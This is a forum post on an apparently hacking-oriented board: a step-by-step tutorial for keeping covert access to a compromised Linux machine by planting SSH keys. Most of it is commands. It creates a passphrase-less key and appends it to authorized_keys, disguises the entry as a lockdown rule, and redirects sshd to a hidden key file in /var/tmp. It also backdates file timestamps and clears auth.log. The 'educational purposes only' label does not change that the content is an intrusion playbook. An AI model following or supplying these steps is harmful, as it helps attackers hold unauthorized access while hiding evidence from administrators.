

Forum:[Hack Forums](#)

Thread: [SSH Persistence with SSH-Keys](#)

Oh_Well - August 20, 2025, 11:00 am

The silent key: SSH Persistence with SSH-Keys

The difference between making an entrance and owning the house.
For educational purposes only

Someone popped a shell. they got user credentials. But what happens when the admin changes the password? They get locked out.

This is how someone becomes a ghost in the machine. This is about SSH Key-Based Authentication.

1. The Principle: Trust, Not Force

Instead of relying on a password, SSH allows authentication using cryptographic key pairs: a private key (personal master key, never shared) and a public key (a lock, placed on the target). When they match, access is granted. This is more secure than passwords, and for the attacker, it's a perfect way to establish a persistent, hard-to-detect connection.

2. Generating a Keypair (Forging the Key)

Ssh-keygen is the simplest way for someone to create an SSH key.

Code The standard command. RSA is universal.
`ssh-keygen -t rsa -b 4096`

For modern systems, ed25519 is faster and more secure.

`ssh-keygen -t ed25519`
Systems prompts you to:

Enter file in which to save the key (/home/you/.ssh/id_rsa): You can also give it a friendly name

Enter passphrase (empty for no passphrase): HIT ENTER. A passphrase encrypts the private key, which is good for OpSec but bad for automation. Someone could prefer trading a bit of security for raw persistence.

This creates two files:

`target_host_id_rsa` -> The PRIVATE KEY. This remains private.
`target_host_id_rsa.pub` -> The PUBLIC KEY. This is what you'll plant.

3. Planting the Key (Picking the Lock)

You have a shell on the target. Now you need to append your public key to the target user's `authorized_keys` file.

Code The classic, one-line method. Echo your public key into the file.

This assumes you have write permissions to the user's `.ssh` directory.

```
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCAQD...BLongPublicKeyString...uM2E9X' >> ~/.ssh/authorized_keys
```

If the `.ssh` directory doesn't exist, create it and set the correct permissions!

Code `mkdir -p ~/.ssh`

`chmod 700 ~/.ssh`

`echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys`

`chmod 600 ~/.ssh/authorized_keys`

Pro-Tip: Copy your public key to the target's clipboard (or write it to a temporary file) and then append it. This is more reliable than trying to echo a massive string.

4. The Silent Return (Walking Through the Door)

The backdoor is set. To return, simply use the `-i` flag with `ssh` to specify your private key.

Code `ssh -i target_host_id_rsa username@10.10.10.10`

No password prompt. Just instant, silent access.

5. Advanced Tradecraft: The Art of Hiding

A line in `authorized_keys` is obvious. You need to make it invisible.

Hide in Plain Sight: Add your key to the middle of the `authorized_keys` file, not the end.

Stealth Options: You can prepend options to your key entry in the `authorized_keys` file to make it harder to spot and use. Edit the file on the target:

Code Example: Restrict the key to a single command and disable all features.

```
command="echo 'This account is currently  
unavailable.'",no-agent-forwarding,no-port-forwarding,no-X11-forwarding,no-pty ssh-rsa  
AAAAB3NzaC1yc2E...YourKeyHere...
```

This looks like a lockdown measure, not a backdoor. An admin might skip over it. (To actually get a shell with this, you'd need to bypass the command, which is a topic for another guide).

Alternative Locations: You can tell SSH to use a different `authorized_keys` file. This is more advanced but excellent for hiding.

On the target, edit `/etc/ssh/sshd_config` and add: `AuthorizedKeysFile /etc/ssh/authorized_keys /etc/ssh/authorized_keys2 /var/tmp/.hidden_keys`

Plant your key in `/var/tmp/.hidden_keys`.

Restart the SSH service: `sudo systemctl restart ssh` (Warning: This can be noisy!).

6. OpSec & Detection Evasion Set Timestamps: Use `touch -t` to set the `authorized_keys` file timestamps to match the other files in the directory. `touch -t 202301011200 ~/.ssh/authorized_keys`

Log Cleaning: If you had to restart SSH, you'll need to clean the logs in `/var/log/auth.log` (Linux) or the Security Log (Windows OpenSSH). Morgana is particularly fond of this step.

The Kill Switch: Always have a way back in. Don't rely on a single method. What if the key is discovered? Maintain other persistence.

Conclusion: Password authentication is for guests. Key-based authentication is for owners.

Code `ssh-keygen -t ed25519 -f ./my_ghost_key`